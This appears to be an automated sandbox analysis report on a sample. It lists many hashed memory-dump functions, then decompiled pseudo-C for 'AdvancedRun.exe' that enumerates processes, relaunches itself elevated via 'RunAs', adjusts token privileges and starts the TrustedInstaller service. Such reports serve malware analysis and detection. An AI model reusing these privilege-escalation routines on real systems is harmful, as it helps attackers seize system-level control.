Opcode Fuzzy Hash: 24b7568d862c1d1c85c79cf55b3a56b3f2c2cfcfc005e78fbc21284fc2f7c9d7
Instruction Fuzzy Hash: 0421D0B5614284DFDB10CF10D9D4B26BBA6FB84718F24C9ADE9494F346C37AD806CB61

Uniqueness

Uniqueness Score: -1.00%

Function 03589BA2, Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bceba0491b6585fb4c11f8185a8450317579a0013a3d758137e5153cedcff8b
Instruction ID: 76178be8dbcb0d06ac2e86227bb082478615494cb55fcc26d0dd18c508047257
Opcode Fuzzy Hash: 8bceba0491b6585fb4c11f8185a8450317579a0013a3d758137e5153cedcff8b
Instruction Fuzzy Hash: E1311A75A01729CFCB24EF24D848698B772FF8A319F1085E9D50A77620DB356E85CF00

Uniqueness

Uniqueness Score: -1.00%

Function 03582040, Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb44ea56acc2d129ab9cf2cdd38ac03d273f31b3162526fc24e9fc187dc6e82a
Instruction ID: 3ddc033921b9bdc60cda6478fec9b8269a9499254a445d9f7128437f59ba4ad6
Opcode Fuzzy Hash: eb44ea56acc2d129ab9cf2cdd38ac03d273f31b3162526fc24e9fc187dc6e82a
Instruction Fuzzy Hash: BC11A1317052248FDB05ABB8D85477E62D7AFC8619F25443AD50ACB3A4DFB6DC028785

Uniqueness

Uniqueness Score: -1.00%

Function 03582050, Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51f66a1210e7c8e8017fae1e4966e49bf76ff88917f6a8f4cbbb292cfd55fd4d
Instruction ID: b48d5272269170651d099d7aba8b6f9bc3f4c5be089a5015f1f61b375bddd8d7
Opcode Fuzzy Hash: 51f66a1210e7c8e8017fae1e4966e49bf76ff88917f6a8f4cbbb292cfd55fd4d
Instruction Fuzzy Hash: F701AD317011289FDB04AAA99850B6F72DBABC8618B25443AE106CB3A0DFB69C028785

Uniqueness

Uniqueness Score: -1.00%

Function 0358A660, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc2f27c787b78a4bb4f71335a64cd3ce89434004c00c45c1f8fa3783440197c1
Instruction ID: 289a63883c95a20458e3f9d339ec020bd8a967884bc76c343d4bd115f4dd4c02
Opcode Fuzzy Hash: bc2f27c787b78a4bb4f71335a64cd3ce89434004c00c45c1f8fa3783440197c1
Instruction Fuzzy Hash: 3E11C235B002118FCB14EB75A9147BEB7E6EFC4251F18456AC405E73B1EB349D05CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 036CF40F, Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.535004971.00000000036CD000.00000040.00000001.sdmp, Offset: 036CD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4ed58a4e5820432a7215309a6699cddc4201b2470a075b183fe8fed3e8ac7db
Instruction ID: 61f65c5ec1d3b4c1a0c7ec32827c4abaea12083c85069344fa2288417cad3411
Opcode Fuzzy Hash: b4ed58a4e5820432a7215309a6699cddc4201b2470a075b183fe8fed3e8ac7db
Instruction Fuzzy Hash: 30216D75504280DFCB15CF50D9C4B66BF62FB44314F28C6ADD9094B657C336D45ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0358ACB0, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8acf9a49b7036bf47d0509f396abf7a8b8213dedd3ac3925abea4e472c8ad2ad
Instruction ID: 5abd0df4eb2aef6a5eec7217a2c93ca6571bee134a5fdc8804d9c9e9e95fcdb3
Opcode Fuzzy Hash: 8acf9a49b7036bf47d0509f396abf7a8b8213dedd3ac3925abea4e472c8ad2ad
Instruction Fuzzy Hash: 25115E75A006048FC718EF64D194AEDB7B2EF4C315F15806AD511BB3A1CB75AC41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 036CF063, Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.535004971.00000000036CD000.00000040.00000001.sdmp, Offset: 036CD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e448f9503ee05b621fe0bf958b47b72fee300a2473d86884219bda15da1d71e
Instruction ID: 989e9111ec61de06909c3ba43889c5d5525cb345ba9e322d899f887c6e1ba087
Opcode Fuzzy Hash: 9e448f9503ee05b621fe0bf958b47b72fee300a2473d86884219bda15da1d71e
Instruction Fuzzy Hash: 7A117975504280DFCB11CF10DA84B25BFA2FB84324F28C6AED8494B756C33AD45ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0358ACC0, Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48588d572ca3196c9c55e2cfcc0aa65c973933fff8b95663bf2144f605bd0cbc
Instruction ID: 73f493b8535a1c74a5c6d0d570190a50180229c619e8b8eeef8db5adce64c240
Opcode Fuzzy Hash: 48588d572ca3196c9c55e2cfcc0aa65c973933fff8b95663bf2144f605bd0cbc
Instruction Fuzzy Hash: A1118C34A00204CFC718EF68D054AADB7B6EF89311F21806AD911BB3A0CB75AC41CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 036CD01D, Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.535004971.00000000036CD000.00000040.00000001.sdmp, Offset: 036CD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05be8b7438b351fb21ea42e6d573ea5f69aa2c531d2abb08bad7b32ea66f0b3e
Instruction ID: 11c431e9785d6991da47308c6347d2731e7b98e2313a26cc3687de55262788cd
Opcode Fuzzy Hash: 05be8b7438b351fb21ea42e6d573ea5f69aa2c531d2abb08bad7b32ea66f0b3e
Instruction Fuzzy Hash: 4D01A771518384AAE7108E29CD84BB7FF98EF41268F08816EED455B286C3799846C6B1

Uniqueness

Uniqueness Score: -1.00%

Function 036CD007, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.535004971.00000000036CD000.00000040.00000001.sdmp, Offset: 036CD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f93af32f8ceca5a782cd74a9742279b9f021c50cd7db957782795d0de9e7ae5
Instruction ID: 4b060ac37e778d274ea2795b2dbf829ea12dc2d3e147a6e5d2acf2738a8df42c
Opcode Fuzzy Hash: 1f93af32f8ceca5a782cd74a9742279b9f021c50cd7db957782795d0de9e7ae5
Instruction Fuzzy Hash: 7C01406141D3C45FD7128B258C94B62BFB4EF43224F0D81DBD9848F2A7C2695848C772

Uniqueness

Uniqueness Score: -1.00%

Function 03582218, Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a90ebab18698d567ae53bc8f839543cf329cae5452bf6470622957cbd1a28ff
Instruction ID: 9d55e4807192bf856cfa864cdd419db536ac5e43e670b15a22a626183d429f6b
Opcode Fuzzy Hash: 3a90ebab18698d567ae53bc8f839543cf329cae5452bf6470622957cbd1a28ff
Instruction Fuzzy Hash: 8DF09672A0010CABDF15CF55E8459DFBFB9EF4C320F00447AF511A7200D771A9259B91

Uniqueness

Uniqueness Score: -1.00%

Function 0358BF80, Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b660f38ef286e9795bbd2ccab449d0b7efc4b8915ead43099bb16908756b2f99
Instruction ID: df13991cb55c178d11eb740e2029473fe86df5f024c4ff7fb78d12c8dac4fd49
Opcode Fuzzy Hash: b660f38ef286e9795bbd2ccab449d0b7efc4b8915ead43099bb16908756b2f99
Instruction Fuzzy Hash: DAF0F635600205DBDB18BB50E9157FEFBB5BB89341F14452AD011B7754CBB80800CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0358BE52, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e77c62e232065d871e67a4d807da68fa8b0aac75251c6bfe6e0fd5e1651385ff
Instruction ID: 52704d158b30ff9575cdbefa5f9c71af917050c221f7039637cfcec0a1d8ab92
Opcode Fuzzy Hash: e77c62e232065d871e67a4d807da68fa8b0aac75251c6bfe6e0fd5e1651385ff
Instruction Fuzzy Hash: 72E0D8723061105FCB05AB6CF4586A57B6DEFCE321B1A00EFE20ACB756D9525C42C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 035850ED, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba82814d3e10ea31a944ff39502bee3cef45b88a9209bc7b8c8e749941938750
Instruction ID: d5f8c1813ab3f524bc25b03b6ceff544b60687737002adbceeb651b39bf70d29
Opcode Fuzzy Hash: ba82814d3e10ea31a944ff39502bee3cef45b88a9209bc7b8c8e749941938750
Instruction Fuzzy Hash: D9F01732A04248EFCF51DF94EC44BD9BB71BB09350F044491E605A2160E7764AE4DF91

Uniqueness

Uniqueness Score: -1.00%

Function 0358BE10, Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcac778bfd7efba303ebd76575772d3ddcb0cf115e07f7199cef28d890032bee
Instruction ID: 5571830ecd9eeb8260f971cd33c6c19423eaf8d779a8fdb41016059baffa3065
Opcode Fuzzy Hash: bcac778bfd7efba303ebd76575772d3ddcb0cf115e07f7199cef28d890032bee
Instruction Fuzzy Hash: 7EE0CD323061606FC706575DF8185F53B6EDBCA22170740ABF006C7753C9511C4183F1

Uniqueness

Uniqueness Score: -1.00%

Function 0358B700, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a66e4b3c8d4d35e2facfc4a9a481628094581d373fe66fab93ec33ed7a9f71ab
Instruction ID: 3292f04fa875407664b0a819e7c472dee9745d550916336dba4189ff40b2de2c
Opcode Fuzzy Hash: a66e4b3c8d4d35e2facfc4a9a481628094581d373fe66fab93ec33ed7a9f71ab
Instruction Fuzzy Hash: 24D0C9323121246B8A08228EB4085AA76AFDBCD762B14402EF51BD37929EA15C4242E5

Uniqueness

Uniqueness Score: -1.00%

Function 0358AC91, Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3efc62f9b62bb3163c492448493f8c02f759ccfc2cb32f8529580461ad5412
Instruction ID: bb5ab10a49ddc2673167a116b8633e76205b757db8ee0f19fdf57b42ed402bfc
Opcode Fuzzy Hash: 4f3efc62f9b62bb3163c492448493f8c02f759ccfc2cb32f8529580461ad5412
Instruction Fuzzy Hash: 27C080751103048FD3409F14E2889407FD4AF0C525B514051E70C47733CA13FC004980

Uniqueness

Uniqueness Score: -1.00%

Function 0358ACA0, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.532792100.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction ID: a0ccf6e4bed68dc0c69f5d0bbd707ad7c253f4111acce2a0e91a8f8d8fd4bd45
Opcode Fuzzy Hash: b76679b0a354449729844e828cdbdd8dc5f87ab3334555cc76ca9f307cd6f9ad
Instruction Fuzzy Hash: 03B092351602088F82409B68E448C00B3E8AB08A243118090E10C8B232C621F8008A40

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: AdvancedRun.exe PID: 5504 Parent PID: 6556 AdvancedRun.exeCOMMON

Executed Functions

Function 004095FD, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 120
processlibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004095FD(void* __edx, void* __eflags, intOrPtr _a4) {
				void* _v8;
				void* _v12;
				char _v16;
				char _v24;
				char _v32;
				char _v40;
				char _v48;
				intOrPtr _v52;
				char _v576;
				long _v580;
				intOrPtr _v1112;
				long _v1128;
				void _v1132;
				void* _v1136;
				void _v1658;
				char _v1660;
				void* __edi;
				void* __esi;
				void* _t41;
				int _t46;
				long _t49;
				void* _t50;
				intOrPtr* _t66;
				struct HINSTANCE__* _t68;
				void* _t71;
				void* _t83;
				void* _t84;
				void* _t85;

				_t78 = _a4;
				E004099D4(_a4 + 0x28);
				_t41 = CreateToolhelp32Snapshot(2, 0); // executed
				_v12 = _t41;
				memset( &_v1132, 0, 0x228);
				_t84 = _t83 + 0xc;
				_v1136 = 0x22c;
				Process32FirstW(_v12,  &_v1136); // executed
				while(1) {
					_t46 = Process32NextW(_v12,  &_v1136); // executed
					if(_t46 == 0) {
						break;
					}
					E004090AF( &_v580);
					_t49 = _v1128;
					_v580 = _t49;
					_v52 = _v1112;
					_t50 = OpenProcess(0x410, 0, _t49);
					_v8 = _t50;
					if(_t50 != 0) {
						L4:
						_v1660 = 0;
						memset( &_v1658, 0, 0x208);
						_t85 = _t84 + 0xc;
						E004098F9(_t78, _v8,  &_v1660);
						if(_v1660 != 0) {
							L10:
							E0040920A( &_v576,  &_v1660);
							E00409555(_v8,  &_v48,  &_v40,  &_v32,  &_v24); // executed
							_t84 = _t85 + 0x14;
							CloseHandle(_v8);
							_t78 = _a4;
							L11:
							E004099ED(_t78 + 0x28,  &_v580);
							continue;
						}
						_v16 = 0x104;
						if( *0x41c8e0 == 0) {
							_t68 = GetModuleHandleW(L"kernel32.dll");
							if(_t68 != 0) {
								 *0x41c8e0 = 1;
								 *0x41c8e4 = GetProcAddress(_t68, "QueryFullProcessImageNameW");
							}
						}
						_t66 =  *0x41c8e4;
						if(_t66 != 0) {
							 *_t66(_v8, 0,  &_v1660,  &_v16); // executed
						}
						goto L10;
					}
					if( *((intOrPtr*)(E00404BAF() + 4)) <= 5) {
						goto L11;
					}
					_t71 = OpenProcess(0x1000, 0, _v580);
					_v8 = _t71;
					if(_t71 == 0) {
						goto L11;
					}
					goto L4;
				}
				return CloseHandle(_v12);
			}

0x00409609
0x0040960f
0x00409619
0x00409623
0x0040962e
0x00409633
0x00409640
0x0040964a
0x00409782
0x0040978c
0x00409793
0x00000000
0x00000000
0x0040965a
0x0040965f
0x00409678
0x0040967e
0x00409681
0x00409685
0x00409688
0x004096b2
0x004096bf
0x004096c6
0x004096cb
0x004096da
0x004096e6
0x0040973b
0x00409747
0x0040975f
0x00409764
0x0040976a
0x00409770
0x00409773
0x0040977d
0x00000000
0x0040977d
0x004096ee
0x004096f5
0x004096fc
0x00409704
0x0040970c
0x0040971c
0x0040971c
0x00409704
0x00409721
0x00409728
0x00409739
0x00409739
0x00000000
0x00409728
0x00409693
0x00000000
0x00000000
0x004096a5
0x004096a9
0x004096ac
0x00000000
0x00000000
0x00000000
0x004096ac
0x004097a6

APIs

Part of subcall function 004099D4: free.MSVCRT(00000000,00409614,?,?,00000000), ref: 004099DB

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00409619
memset.MSVCRT ref: 0040962E
Process32FirstW.KERNEL32(?,?), ref: 0040964A
OpenProcess.KERNEL32(00000410,00000000,?,?,?,00000000), ref: 00409681
OpenProcess.KERNEL32(00001000,00000000,?), ref: 004096A5
memset.MSVCRT ref: 004096C6
GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 004096FC
GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 00409716
QueryFullProcessImageNameW.KERNELBASE(00000000,00000000,?,00000104,00000000,?), ref: 00409739
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?), ref: 0040976A
Process32NextW.KERNEL32(?,0000022C), ref: 0040978C
CloseHandle.KERNEL32(?,?,0000022C,?,?,?,?,00000000,?), ref: 0040979C

Strings

kernel32.dll, xrefs: 004096F7
QueryFullProcessImageNameW, xrefs: 00409706

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleProcess$CloseOpenProcess32memset$AddressCreateFirstFullImageModuleNameNextProcQuerySnapshotToolhelp32free
String ID: QueryFullProcessImageNameW$kernel32.dll
API String ID: 239888749-1740548384
Opcode ID: 93ba788d12a5409cd6757bb7493d38e70eb600f2f73dc0c750eaff65fc83c0f1
Instruction ID: d99fb1acad5946e2155d0e2cb4f7ec9e68cfc0f9061ce230986eeb1e4b65db1d
Opcode Fuzzy Hash: 93ba788d12a5409cd6757bb7493d38e70eb600f2f73dc0c750eaff65fc83c0f1
Instruction Fuzzy Hash: 10413DB2900118EEDB10EFA0DCC5AEEB7B9EB44348F1041BAE609B3191D7359E85DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401C26, Relevance: 22.8, APIs: 9, Strings: 4, Instructions: 72
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401C26(long _a4) {
				struct _SHELLEXECUTEINFOW _v68;
				void _v582;
				char _v584;
				void _v1110;
				char _v1112;
				long _t23;
				int _t36;
				int _t41;
				void* _t43;
				long _t44;

				_t44 = 0;
				_t23 = GetCurrentProcessId();
				_v584 = 0;
				memset( &_v582, 0, 0x1fe);
				_v1112 = 0;
				memset( &_v1110, 0, 0x208);
				E00404AD9( &_v1112);
				_push(_t23);
				_push(0);
				_push(_a4);
				_push(L"/SpecialRun %I64x %d");
				_push(0xff);
				_push( &_v584);
				L0040B1EC();
				memset( &(_v68.fMask), 0, 0x38);
				_v68.lpFile =  &_v1112;
				_v68.lpParameters =  &_v584;
				_v68.cbSize = 0x3c;
				_v68.lpVerb = L"RunAs";
				_v68.fMask = 0x40;
				_v68.nShow = 5;
				_t36 = ShellExecuteExW( &_v68); // executed
				_t43 = _v68.hProcess;
				if(_t36 == 0) {
					_t44 = GetLastError();
				} else {
					WaitForSingleObject(_t43, 0x5dc);
					_a4 = 0;
					_t41 = GetExitCodeProcess(_t43,  &_a4); // executed
					if(_t41 != 0 && _a4 != 0x103) {
						_t44 = _a4;
					}
				}
				return _t44;
			}

0x00401c31
0x00401c33
0x00401c48
0x00401c4f
0x00401c61
0x00401c68
0x00401c74
0x00401c79
0x00401c7a
0x00401c7b
0x00401c84
0x00401c89
0x00401c8e
0x00401c8f
0x00401c9b
0x00401ca6
0x00401caf
0x00401cb9
0x00401cc0
0x00401cc7
0x00401cce
0x00401cd5
0x00401cdd
0x00401ce0
0x00401d14
0x00401ce2
0x00401ce8
0x00401cf3
0x00401cf6
0x00401cfe
0x00401d09
0x00401d09
0x00401cfe
0x00401d1b

APIs

GetCurrentProcessId.KERNEL32(004101D8,?), ref: 00401C33
memset.MSVCRT ref: 00401C4F
memset.MSVCRT ref: 00401C68

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

_snwprintf.MSVCRT ref: 00401C8F
memset.MSVCRT ref: 00401C9B
ShellExecuteExW.SHELL32(?), ref: 00401CD5
WaitForSingleObject.KERNEL32(?,000005DC), ref: 00401CE8
GetExitCodeProcess.KERNELBASE ref: 00401CF6
GetLastError.KERNEL32 ref: 00401D0E

Strings

/SpecialRun %I64x %d, xrefs: 00401C84
RunAs, xrefs: 00401CC0
@, xrefs: 00401CC7
<, xrefs: 00401CB9

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Process$CodeCurrentErrorExecuteExitFileLastModuleNameObjectShellSingleWait_snwprintf
String ID: /SpecialRun %I64x %d$<$@$RunAs
API String ID: 903100921-3385179869
Opcode ID: b1512c014bb39f996462de76d08949c278b93179518c0e0ab6201644cc20f86b
Instruction ID: 2715f163b7cd274c39606e2610d12bc00880993b2534c3bb77a56ee1366ffd0d
Opcode Fuzzy Hash: b1512c014bb39f996462de76d08949c278b93179518c0e0ab6201644cc20f86b
Instruction Fuzzy Hash: FD216D71900118FBDB20DB91CD48ADF7BBCEF44744F004176F608B6291D778AA84CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408FC9, Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408FC9(struct HINSTANCE__** __eax, void* __eflags, WCHAR* _a4) {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				void* __esi;
				_Unknown_base(*)()* _t16;
				_Unknown_base(*)()* _t18;
				long _t19;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t24;
				struct HINSTANCE__** _t35;
				void* _t37;

				_t37 = __eflags;
				_t35 = __eax;
				if(E00408F92(_t35, _t37, GetCurrentProcess(), 0x28,  &_v8) == 0) {
					return GetLastError();
				}
				_t16 = E00408F72(_t35);
				__eflags = _t16;
				if(_t16 != 0) {
					_t24 = GetProcAddress( *_t35, "LookupPrivilegeValueW");
					__eflags = _t24;
					if(_t24 != 0) {
						LookupPrivilegeValueW(0, _a4,  &(_v24.Privileges)); // executed
					}
				}
				_v24.PrivilegeCount = 1;
				_v12 = 2;
				_a4 = _v8;
				_t18 = E00408F72(_t35);
				__eflags = _t18;
				if(_t18 != 0) {
					_t22 = GetProcAddress( *_t35, "AdjustTokenPrivileges");
					__eflags = _t22;
					if(_t22 != 0) {
						AdjustTokenPrivileges(_a4, 0,  &_v24, 0, 0, 0); // executed
					}
				}
				_t19 = GetLastError();
				FindCloseChangeNotification(_v8); // executed
				return _t19;
			}

0x00408fc9
0x00408fd0
0x00408fe8
0x00000000
0x00408fea
0x00408ff4
0x00409001
0x00409003
0x0040900c
0x0040900e
0x00409010
0x0040901a
0x0040901a
0x00409010
0x0040901f
0x00409026
0x0040902d
0x00409030
0x00409035
0x00409037
0x00409040
0x00409042
0x00409044
0x00409051
0x00409051
0x00409044
0x00409053
0x0040905e
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000028,00000000), ref: 00408FD8

Part of subcall function 00408F92: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 00408FA8

GetLastError.KERNEL32(00000000), ref: 00408FEA
GetProcAddress.KERNEL32(00000000,LookupPrivilegeValueW), ref: 0040900C
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 0040901A
GetProcAddress.KERNEL32(00000000,AdjustTokenPrivileges), ref: 00409040
AdjustTokenPrivileges.KERNELBASE(00000002,00000000,00000001,00000000,00000000,00000000), ref: 00409051
GetLastError.KERNEL32(00000000,00000000,00000000), ref: 00409053
FindCloseChangeNotification.KERNELBASE(00000000), ref: 0040905E

Strings

LookupPrivilegeValueW, xrefs: 00409005
AdjustTokenPrivileges, xrefs: 00409039

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLast$AdjustChangeCloseCurrentFindLookupNotificationPrivilegePrivilegesProcessTokenValue
String ID: AdjustTokenPrivileges$LookupPrivilegeValueW
API String ID: 616250965-1253513912
Opcode ID: b5b45514c93916933a35bd7cc4bbde3415ee7f14846a7c37f1b94fb4e6c9eb93
Instruction ID: 03a5dc6c67e2a3af6dad2eaf9b7d3d3c38ee31464385454108c093b6d6cde588
Opcode Fuzzy Hash: b5b45514c93916933a35bd7cc4bbde3415ee7f14846a7c37f1b94fb4e6c9eb93
Instruction Fuzzy Hash: 34114F72500105FFEB10AFF4DD859AF76ADAB44384B10413AF541F2192DA789E449B68

Uniqueness

Uniqueness Score: -1.00%

Function 00401306, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38
serviceCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401306(void* _a4) {
				intOrPtr _v28;
				struct _SERVICE_STATUS _v32;
				void* _t5;
				int _t12;
				void* _t14;

				_t12 = 0; // executed
				_t5 = OpenServiceW(_a4, L"TrustedInstaller", 0x34); // executed
				_t14 = _t5;
				if(_t14 != 0) {
					if(QueryServiceStatus(_t14,  &_v32) != 0 && _v28 != 4) {
						_t12 = StartServiceW(_t14, 0, 0);
					}
					CloseServiceHandle(_t14);
				}
				CloseServiceHandle(_a4);
				return _t12;
			}

0x00401319
0x0040131b
0x00401327
0x0040132b
0x0040133a
0x0040134b
0x0040134b
0x0040134e
0x0040134e
0x00401353
0x0040135b

APIs

OpenServiceW.ADVAPI32(00402183,TrustedInstaller,00000034,?,?,00000000,?,?,?,?,?,00402183,00000000), ref: 0040131B
QueryServiceStatus.ADVAPI32(00000000,?,?,?,?,?,?,00402183,00000000), ref: 00401332
StartServiceW.ADVAPI32(00000000,00000000,00000000), ref: 00401345
CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,00402183,00000000), ref: 0040134E
CloseServiceHandle.ADVAPI32(00402183,?,?,?,?,?,00402183,00000000), ref: 00401353

Strings

TrustedInstaller, xrefs: 00401311

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Service$CloseHandle$OpenQueryStartStatus
String ID: TrustedInstaller
API String ID: 862991418-565535830
Opcode ID: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction ID: 300c39592a487ff017dde1f9aaf4b69bffecac74e3568357a1b40912e0f2caec
Opcode Fuzzy Hash: e275db5ffe703eced9a7585420ea8a7e70def606d9c8162886671e7be63d83f8
Instruction Fuzzy Hash: F9F08275601218FBE7222BE59CC8DAF7A6CDF88794B040132FD01B12A0D674DD05C9F9

Uniqueness

Uniqueness Score: -1.00%

Function 0040A33B, Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A33B(unsigned int _a4, WCHAR* _a8, WCHAR* _a12) {
				struct HRSRC__* _t12;
				void* _t16;
				void* _t17;
				signed int _t18;
				signed int _t26;
				signed int _t29;
				signed int _t33;
				struct HRSRC__* _t35;
				signed int _t36;

				_t12 = FindResourceW(_a4, _a12, _a8); // executed
				_t35 = _t12;
				if(_t35 != 0) {
					_t33 = SizeofResource(_a4, _t35);
					if(_t33 > 0) {
						_t16 = LoadResource(_a4, _t35);
						if(_t16 != 0) {
							_t17 = LockResource(_t16);
							if(_t17 != 0) {
								_a4 = _t33;
								_t29 = _t33 * _t33;
								_t36 = 0;
								_t7 =  &_a4;
								 *_t7 = _a4 >> 2;
								if( *_t7 != 0) {
									do {
										_t26 =  *(_t17 + _t36 * 4) * _t36 * _t33 * 0x00000011 ^  *(_t17 + _t36 * 4) + _t29;
										_t36 = _t36 + 1;
										_t29 = _t26;
									} while (_t36 < _a4);
								}
								_t18 =  *0x40fa70; // 0xfcb617dc
